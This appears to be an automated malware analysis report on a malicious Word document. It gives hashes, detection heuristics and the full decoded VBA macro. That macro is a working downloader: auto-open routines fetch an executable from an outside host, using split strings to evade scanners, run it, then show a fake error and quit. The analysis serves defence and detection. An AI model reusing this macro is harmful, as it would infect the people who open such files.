Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 048a77ef52d634c4…

MALICIOUS

Office (OLE)

521.0 KB Created: 2009-03-30 14:18:00 Authoring application: Microsoft Office Word First seen: 2015-10-05
MD5: 6f845f2e23f756c619abc51165546e48 SHA-1: c156e3e64f8c13e476d325290447547f9087ea46 SHA-256: 048a77ef52d634c4d2e7f08e0b5166dc90603dc54a0171c1288484d6139731b1
402 Risk Score

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell FullSavePath, vbNormalFocus
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        ADS.Write XML.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XML = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Private Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        FullSavePath = Environ(SavePath) & "\" & SaveName
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1934 bytes
SHA-256: edf102e9c7429ec7f9ea58dc387c5088f8f8311baa7bf30b92be638e952c2e00
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Auto_Open()
Call DownloadFile("htt" & "p://www" & ".intertecno.c" & "l/arm" & "eria/SpryAssets/forum/ss.e" & "xe", "5555555555555.e" & "xe")
End Sub
Private Sub Workbook_Open()
Call DownloadFile("htt" & "p://www.intertec" & "no.cl/armeria/Sp" & "ryAssets/forum/s" & "s.ex" & "e", "4444444444.ex" & "e")
End Sub
Private Sub AutoExec()
Call DownloadFile("ht" & "tp://www.intertecno" & ".cl/armeria/SpryAs" & "sets/forum/ss.ex" & "e", "33333333.e" & "xe")
End Sub
Private Sub AutoOpen()
Call DownloadFile("ht" & "tp://www.intertecno.cl/armeria/SpryAssets/forum/ss." & "exe", "22222.e" & "xe")
End Sub
Private Sub Document_Open()
Call DownloadFile("htt" & "p://www.intertecn" & "o.cl/arm" & "eria/SpryAssets/fo" & "rum/ss" & ".exe", "1111." & "exe")
End Sub
Public Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear

    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")
 
    XML.Open "GET", URL, False
    XML.send
 
    XML.getAllResponseHeaders
 
    FullSavePath = Environ(SavePath) & "\" & SaveName

    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2

    Shell FullSavePath, vbNormalFocus
    DownloadFile = True
    MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Error"
  
    Application.DisplayAlerts = False
    Application.Quit

End Function

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